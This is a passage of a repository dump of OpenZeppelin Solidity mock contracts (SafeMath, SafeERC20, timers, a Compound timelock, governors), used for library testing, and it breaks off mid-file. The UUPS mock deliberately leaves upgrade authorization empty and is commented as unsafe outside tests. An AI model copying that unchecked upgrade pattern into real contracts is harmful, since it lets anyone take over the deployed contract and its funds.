    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/RegressionImplementation.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\ncontract Implementation1 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n}\n\ncontract Implementation2 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue() public view returns (uint256) {\n        return _value;\n    }\n}\n\ncontract Implementation3 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue(uint256 _number) public view returns (uint256) {\n        return _value + _number;\n    }\n}\n\ncontract Implementation4 is Initializable {\n    uint256 internal _value;\n\n    function initialize() public initializer {}\n\n    function setValue(uint256 _number) public {\n        _value = _number;\n    }\n\n    function getValue() public view returns (uint256) {\n        return _value;\n    }\n\n    fallback() external {\n        _value = 1;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeCastMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SafeCast.sol\";\n\ncontract SafeCastMock {\n    using SafeCast for uint256;\n    using SafeCast for int256;\n\n    function toUint256(int256 a) public pure returns (uint256) {\n        return a.toUint256();\n    }\n\n    function toUint224(uint256 a) public pure returns (uint224) {\n        return a.toUint224();\n    }\n\n    function toUint128(uint256 a) public pure returns (uint128) {\n        return a.toUint128();\n    }\n\n    function toUint96(uint256 a) public pure returns (uint96) {\n        return a.toUint96();\n    }\n\n    function toUint64(uint256 a) public pure returns (uint64) {\n        return a.toUint64();\n    }\n\n    function toUint32(uint256 a) public pure returns (uint32) {\n        return a.toUint32();\n    }\n\n    function toUint16(uint256 a) public pure returns (uint16) {\n        return a.toUint16();\n    }\n\n    function toUint8(uint256 a) public pure returns (uint8) {\n        return a.toUint8();\n    }\n\n    function toInt256(uint256 a) public pure returns (int256) {\n        return a.toInt256();\n    }\n\n    function toInt128(int256 a) public pure returns (int128) {\n        return a.toInt128();\n    }\n\n    function toInt64(int256 a) public pure returns (int64) {\n        return a.toInt64();\n    }\n\n    function toInt32(int256 a) public pure returns (int32) {\n        return a.toInt32();\n    }\n\n    function toInt16(int256 a) public pure returns (int16) {\n        return a.toInt16();\n    }\n\n    function toInt8(int256 a) public pure returns (int8) {\n        return a.toInt8();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeERC20Helper.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Context.sol\";\nimport \"../token/ERC20/IERC20.sol\";\nimport \"../token/ERC20/utils/SafeERC20.sol\";\n\ncontract ERC20ReturnFalseMock is Context {\n    uint256 private _allowance;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function approve(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return false;\n    }\n\n    function allowance(address, address) public view returns (uint256) {\n        require(_dummy == 0); // Duummy read from a state variable so that the function is view\n        return 0;\n    }\n}\n\ncontract ERC20ReturnTrueMock is Context {\n    mapping(address => uint256) private _allowances;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function approve(address, uint256) public returns (bool) {\n        _dummy = 0;\n        return true;\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        _allowances[_msgSender()] = allowance_;\n    }\n\n    function allowance(address owner, address) public view returns (uint256) {\n        return _allowances[owner];\n    }\n}\n\ncontract ERC20NoReturnMock is Context {\n    mapping(address => uint256) private _allowances;\n\n    // IERC20's functions are not pure, but these mock implementations are: to prevent Solidity from issuing warnings,\n    // we write to a dummy state variable.\n    uint256 private _dummy;\n\n    function transfer(address, uint256) public {\n        _dummy = 0;\n    }\n\n    function transferFrom(\n        address,\n        address,\n        uint256\n    ) public {\n        _dummy = 0;\n    }\n\n    function approve(address, uint256) public {\n        _dummy = 0;\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        _allowances[_msgSender()] = allowance_;\n    }\n\n    function allowance(address owner, address) public view returns (uint256) {\n        return _allowances[owner];\n    }\n}\n\ncontract SafeERC20Wrapper is Context {\n    using SafeERC20 for IERC20;\n\n    IERC20 private _token;\n\n    constructor(IERC20 token) {\n        _token = token;\n    }\n\n    function transfer() public {\n        _token.safeTransfer(address(0), 0);\n    }\n\n    function transferFrom() public {\n        _token.safeTransferFrom(address(0), address(0), 0);\n    }\n\n    function approve(uint256 amount) public {\n        _token.safeApprove(address(0), amount);\n    }\n\n    function increaseAllowance(uint256 amount) public {\n        _token.safeIncreaseAllowance(address(0), amount);\n    }\n\n    function decreaseAllowance(uint256 amount) public {\n        _token.safeDecreaseAllowance(address(0), amount);\n    }\n\n    function setAllowance(uint256 allowance_) public {\n        ERC20ReturnTrueMock(address(_token)).setAllowance(allowance_);\n    }\n\n    function allowance() public view returns (uint256) {\n        return _token.allowance(address(0), address(0));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SafeMathMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SafeMath.sol\";\n\ncontract SafeMathMock {\n    function tryAdd(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMath.tryAdd(a, b);\n    }\n\n    function trySub(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMath.trySub(a, b);\n    }\n\n    function tryMul(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMath.tryMul(a, b);\n    }\n\n    function tryDiv(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMath.tryDiv(a, b);\n    }\n\n    function tryMod(uint256 a, uint256 b) public pure returns (bool flag, uint256 value) {\n        return SafeMath.tryMod(a, b);\n    }\n\n    // using the do* naming convention to avoid warnings due to clashing opcode names\n\n    function doAdd(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMath.add(a, b);\n    }\n\n    function doSub(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMath.sub(a, b);\n    }\n\n    function doMul(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMath.mul(a, b);\n    }\n\n    function doDiv(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMath.div(a, b);\n    }\n\n    function doMod(uint256 a, uint256 b) public pure returns (uint256) {\n        return SafeMath.mod(a, b);\n    }\n\n    function subWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMath.sub(a, b, errorMessage);\n    }\n\n    function divWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMath.div(a, b, errorMessage);\n    }\n\n    function modWithMessage(\n        uint256 a,\n        uint256 b,\n        string memory errorMessage\n    ) public pure returns (uint256) {\n        return SafeMath.mod(a, b, errorMessage);\n    }\n\n    function addMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMath.add(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function subMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMath.sub(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function mulMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMath.mul(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function divMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMath.div(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n\n    function modMemoryCheck() public pure returns (uint256 mem) {\n        uint256 length = 32;\n        assembly {\n            mem := mload(0x40)\n        }\n        for (uint256 i = 0; i < length; ++i) {\n            SafeMath.mod(1, 1);\n        }\n        assembly {\n            mem := sub(mload(0x40), mem)\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SignatureCheckerMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/cryptography/SignatureChecker.sol\";\n\ncontract SignatureCheckerMock {\n    using SignatureChecker for address;\n\n    function isValidSignatureNow(\n        address signer,\n        bytes32 hash,\n        bytes memory signature\n    ) public view returns (bool) {\n        return signer.isValidSignatureNow(hash, signature);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SignedSafeMathMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/math/SignedSafeMath.sol\";\n\ncontract SignedSafeMathMock {\n    function mul(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMath.mul(a, b);\n    }\n\n    function div(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMath.div(a, b);\n    }\n\n    function sub(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMath.sub(a, b);\n    }\n\n    function add(int256 a, int256 b) public pure returns (int256) {\n        return SignedSafeMath.add(a, b);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/SingleInheritanceInitializableMocks.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @title MigratableMockV1\n * @dev This contract is a mock to test initializable functionality through migrations\n */\ncontract MigratableMockV1 is Initializable {\n    uint256 public x;\n\n    function initialize(uint256 value) public payable initializer {\n        x = value;\n    }\n}\n\n/**\n * @title MigratableMockV2\n * @dev This contract is a mock to test migratable functionality with params\n */\ncontract MigratableMockV2 is MigratableMockV1 {\n    bool internal _migratedV2;\n    uint256 public y;\n\n    function migrate(uint256 value, uint256 anotherValue) public payable {\n        require(!_migratedV2);\n        x = value;\n        y = anotherValue;\n        _migratedV2 = true;\n    }\n}\n\n/**\n * @title MigratableMockV3\n * @dev This contract is a mock to test migratable functionality without params\n */\ncontract MigratableMockV3 is MigratableMockV2 {\n    bool internal _migratedV3;\n\n    function migrate() public payable {\n        require(!_migratedV3);\n        uint256 oldX = x;\n        x = y;\n        y = oldX;\n        _migratedV3 = true;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/StorageSlotMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/StorageSlot.sol\";\n\ncontract StorageSlotMock {\n    using StorageSlot for bytes32;\n\n    function setBoolean(bytes32 slot, bool value) public {\n        slot.getBooleanSlot().value = value;\n    }\n\n    function setAddress(bytes32 slot, address value) public {\n        slot.getAddressSlot().value = value;\n    }\n\n    function setBytes32(bytes32 slot, bytes32 value) public {\n        slot.getBytes32Slot().value = value;\n    }\n\n    function setUint256(bytes32 slot, uint256 value) public {\n        slot.getUint256Slot().value = value;\n    }\n\n    function getBoolean(bytes32 slot) public view returns (bool) {\n        return slot.getBooleanSlot().value;\n    }\n\n    function getAddress(bytes32 slot) public view returns (address) {\n        return slot.getAddressSlot().value;\n    }\n\n    function getBytes32(bytes32 slot) public view returns (bytes32) {\n        return slot.getBytes32Slot().value;\n    }\n\n    function getUint256(bytes32 slot) public view returns (uint256) {\n        return slot.getUint256Slot().value;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/StringsMock.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Strings.sol\";\n\ncontract StringsMock {\n    function fromUint256(uint256 value) public pure returns (string memory) {\n        return Strings.toString(value);\n    }\n\n    function fromUint256Hex(uint256 value) public pure returns (string memory) {\n        return Strings.toHexString(value);\n    }\n\n    function fromUint256HexFixed(uint256 value, uint256 length) public pure returns (string memory) {\n        return Strings.toHexString(value, length);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/TimersBlockNumberImpl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Timers.sol\";\n\ncontract TimersBlockNumberImpl {\n    using Timers for Timers.BlockNumber;\n\n    Timers.BlockNumber private _timer;\n\n    function getDeadline() public view returns (uint64) {\n        return _timer.getDeadline();\n    }\n\n    function setDeadline(uint64 timestamp) public {\n        _timer.setDeadline(timestamp);\n    }\n\n    function reset() public {\n        _timer.reset();\n    }\n\n    function isUnset() public view returns (bool) {\n        return _timer.isUnset();\n    }\n\n    function isStarted() public view returns (bool) {\n        return _timer.isStarted();\n    }\n\n    function isPending() public view returns (bool) {\n        return _timer.isPending();\n    }\n\n    function isExpired() public view returns (bool) {\n        return _timer.isExpired();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/TimersTimestampImpl.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../utils/Timers.sol\";\n\ncontract TimersTimestampImpl {\n    using Timers for Timers.Timestamp;\n\n    Timers.Timestamp private _timer;\n\n    function getDeadline() public view returns (uint64) {\n        return _timer.getDeadline();\n    }\n\n    function setDeadline(uint64 timestamp) public {\n        _timer.setDeadline(timestamp);\n    }\n\n    function reset() public {\n        _timer.reset();\n    }\n\n    function isUnset() public view returns (bool) {\n        return _timer.isUnset();\n    }\n\n    function isStarted() public view returns (bool) {\n        return _timer.isStarted();\n    }\n\n    function isPending() public view returns (bool) {\n        return _timer.isPending();\n    }\n\n    function isExpired() public view returns (bool) {\n        return _timer.isExpired();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/UUPS/TestInProd.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"../CountersImpl.sol\";\nimport \"../../proxy/utils/UUPSUpgradeable.sol\";\n\ncontract UUPSUpgradeableMock is CountersImpl, UUPSUpgradeable {\n    // Not having any checks in this function is dangerous! Do not do this outside tests!\n    function _authorizeUpgrade(address) internal virtual override {}\n}\n\ncontract UUPSUpgradeableUnsafeMock is UUPSUpgradeableMock {\n    function upgradeTo(address newImplementation) external virtual override {\n        ERC1967Upgrade._upgradeToAndCall(newImplementation, bytes(\"\"), false);\n    }\n\n    function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual override {\n        ERC1967Upgrade._upgradeToAndCall(newImplementation, data, false);\n    }\n}\n\ncontract UUPSUpgradeableBrokenMock is UUPSUpgradeableMock {\n    function upgradeTo(address) external virtual override {\n        // pass\n    }\n\n    function upgradeToAndCall(address, bytes memory) external payable virtual override {\n        // pass\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/compound/CompTimelock.sol",
    "content": "// SPDX-License-Identifier: BSD-3-Clause\n// solhint-disable private-vars-leading-underscore\n/**\n * Copyright 2020 Compound Labs, Inc.\n *\n * Redistribution and use in source and binary forms, with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following\n *    disclaimer.\n *\n * 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the\n *    following disclaimer in the documentation and/or other materials provided with the distribution.\n *\n * 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote\n *    products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n * INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n */\n\npragma solidity ^0.8.0;\n\ncontract CompTimelock {\n    event NewAdmin(address indexed newAdmin);\n    event NewPendingAdmin(address indexed newPendingAdmin);\n    event NewDelay(uint256 indexed newDelay);\n    event CancelTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n    event ExecuteTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n    event QueueTransaction(\n        bytes32 indexed txHash,\n        address indexed target,\n        uint256 value,\n        string signature,\n        bytes data,\n        uint256 eta\n    );\n\n    uint256 public constant GRACE_PERIOD = 14 days;\n    uint256 public constant MINIMUM_DELAY = 2 days;\n    uint256 public constant MAXIMUM_DELAY = 30 days;\n\n    address public admin;\n    address public pendingAdmin;\n    uint256 public delay;\n\n    mapping(bytes32 => bool) public queuedTransactions;\n\n    constructor(address admin_, uint256 delay_) {\n        require(delay_ >= MINIMUM_DELAY, \"Timelock::constructor: Delay must exceed minimum delay.\");\n        require(delay_ <= MAXIMUM_DELAY, \"Timelock::setDelay: Delay must not exceed maximum delay.\");\n\n        admin = admin_;\n        delay = delay_;\n    }\n\n    receive() external payable {}\n\n    function setDelay(uint256 delay_) public {\n        require(msg.sender == address(this), \"Timelock::setDelay: Call must come from Timelock.\");\n        require(delay_ >= MINIMUM_DELAY, \"Timelock::setDelay: Delay must exceed minimum delay.\");\n        require(delay_ <= MAXIMUM_DELAY, \"Timelock::setDelay: Delay must not exceed maximum delay.\");\n        delay = delay_;\n\n        emit NewDelay(delay);\n    }\n\n    function acceptAdmin() public {\n        require(msg.sender == pendingAdmin, \"Timelock::acceptAdmin: Call must come from pendingAdmin.\");\n        admin = msg.sender;\n        pendingAdmin = address(0);\n\n        emit NewAdmin(admin);\n    }\n\n    function setPendingAdmin(address pendingAdmin_) public {\n        require(msg.sender == address(this), \"Timelock::setPendingAdmin: Call must come from Timelock.\");\n        pendingAdmin = pendingAdmin_;\n\n        emit NewPendingAdmin(pendingAdmin);\n    }\n\n    function queueTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public returns (bytes32) {\n        require(msg.sender == admin, \"Timelock::queueTransaction: Call must come from admin.\");\n        require(\n            eta >= getBlockTimestamp() + delay,\n            \"Timelock::queueTransaction: Estimated execution block must satisfy delay.\"\n        );\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        queuedTransactions[txHash] = true;\n\n        emit QueueTransaction(txHash, target, value, signature, data, eta);\n        return txHash;\n    }\n\n    function cancelTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public {\n        require(msg.sender == admin, \"Timelock::cancelTransaction: Call must come from admin.\");\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        queuedTransactions[txHash] = false;\n\n        emit CancelTransaction(txHash, target, value, signature, data, eta);\n    }\n\n    function executeTransaction(\n        address target,\n        uint256 value,\n        string memory signature,\n        bytes memory data,\n        uint256 eta\n    ) public payable returns (bytes memory) {\n        require(msg.sender == admin, \"Timelock::executeTransaction: Call must come from admin.\");\n\n        bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n        require(queuedTransactions[txHash], \"Timelock::executeTransaction: Transaction hasn't been queued.\");\n        require(getBlockTimestamp() >= eta, \"Timelock::executeTransaction: Transaction hasn't surpassed time lock.\");\n        require(getBlockTimestamp() <= eta + GRACE_PERIOD, \"Timelock::executeTransaction: Transaction is stale.\");\n\n        queuedTransactions[txHash] = false;\n\n        bytes memory callData;\n\n        if (bytes(signature).length == 0) {\n            callData = data;\n        } else {\n            callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\n        }\n\n        // solium-disable-next-line security/no-call-value\n        (bool success, bytes memory returnData) = target.call{value: value}(callData);\n        require(success, \"Timelock::executeTransaction: Transaction execution reverted.\");\n\n        emit ExecuteTransaction(txHash, target, value, signature, data, eta);\n\n        return returnData;\n    }\n\n    function getBlockTimestamp() internal view returns (uint256) {\n        // solium-disable-next-line security/no-block-members\n        return block.timestamp;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor1.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/Governor.sol\";\nimport \"../../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../../governance/extensions/GovernorVotes.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFraction.sol\";\nimport \"../../governance/extensions/GovernorTimelockControl.sol\";\n\ncontract MyGovernor1 is\n    Governor,\n    GovernorTimelockControl,\n    GovernorVotes,\n    GovernorVotesQuorumFraction,\n    GovernorCountingSimple\n{\n    constructor(ERC20Votes _token, TimelockController _timelock)\n        Governor(\"MyGovernor\")\n        GovernorVotes(_token)\n        GovernorVotesQuorumFraction(4)\n        GovernorTimelockControl(_timelock)\n    {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotesQuorumFraction)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(Governor, IGovernor) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(Governor, GovernorTimelockControl)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor2.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/Governor.sol\";\nimport \"../../governance/extensions/GovernorProposalThreshold.sol\";\nimport \"../../governance/extensions/GovernorCountingSimple.sol\";\nimport \"../../governance/extensions/GovernorVotes.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFraction.sol\";\nimport \"../../governance/extensions/GovernorTimelockControl.sol\";\n\ncontract MyGovernor2 is\n    Governor,\n    GovernorTimelockControl,\n    GovernorProposalThreshold,\n    GovernorVotes,\n    GovernorVotesQuorumFraction,\n    GovernorCountingSimple\n{\n    constructor(ERC20Votes _token, TimelockController _timelock)\n        Governor(\"MyGovernor\")\n        GovernorVotes(_token)\n        GovernorVotesQuorumFraction(4)\n        GovernorTimelockControl(_timelock)\n    {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    function proposalThreshold() public pure override returns (uint256) {\n        return 1000e18;\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotesQuorumFraction)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId) public view override(Governor, GovernorTimelockControl) returns (ProposalState) {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(Governor, GovernorProposalThreshold, IGovernor) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) {\n        super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(Governor, GovernorTimelockControl)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/mocks/wizard/MyGovernor3.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.2;\n\nimport \"../../governance/Governor.sol\";\nimport \"../../governance/compatibility/GovernorCompatibilityBravo.sol\";\nimport \"../../governance/extensions/GovernorVotes.sol\";\nimport \"../../governance/extensions/GovernorVotesQuorumFraction.sol\";\nimport \"../../governance/extensions/GovernorTimelockControl.sol\";\n\ncontract MyGovernor is\n    Governor,\n    GovernorTimelockControl,\n    GovernorCompatibilityBravo,\n    GovernorVotes,\n    GovernorVotesQuorumFraction\n{\n    constructor(ERC20Votes _token, TimelockController _timelock)\n        Governor(\"MyGovernor\")\n        GovernorVotes(_token)\n        GovernorVotesQuorumFraction(4)\n        GovernorTimelockControl(_timelock)\n    {}\n\n    function votingDelay() public pure override returns (uint256) {\n        return 1; // 1 block\n    }\n\n    function votingPeriod() public pure override returns (uint256) {\n        return 45818; // 1 week\n    }\n\n    function proposalThreshold() public pure override returns (uint256) {\n        return 1000e18;\n    }\n\n    // The following functions are overrides required by Solidity.\n\n    function quorum(uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotesQuorumFraction)\n        returns (uint256)\n    {\n        return super.quorum(blockNumber);\n    }\n\n    function getVotes(address account, uint256 blockNumber)\n        public\n        view\n        override(IGovernor, GovernorVotes)\n        returns (uint256)\n    {\n        return super.getVotes(account, blockNumber);\n    }\n\n    function state(uint256 proposalId)\n        public\n        view\n        override(Governor, IGovernor, GovernorTimelockControl)\n        returns (ProposalState)\n    {\n        return super.state(proposalId);\n    }\n\n    function propose(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        string memory description\n    ) public override(Governor, GovernorCompatibilityBravo, IGovernor) returns (uint256) {\n        return super.propose(targets, values, calldatas, description);\n    }\n\n    function _execute(\n        uint256 proposalId,\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) {\n        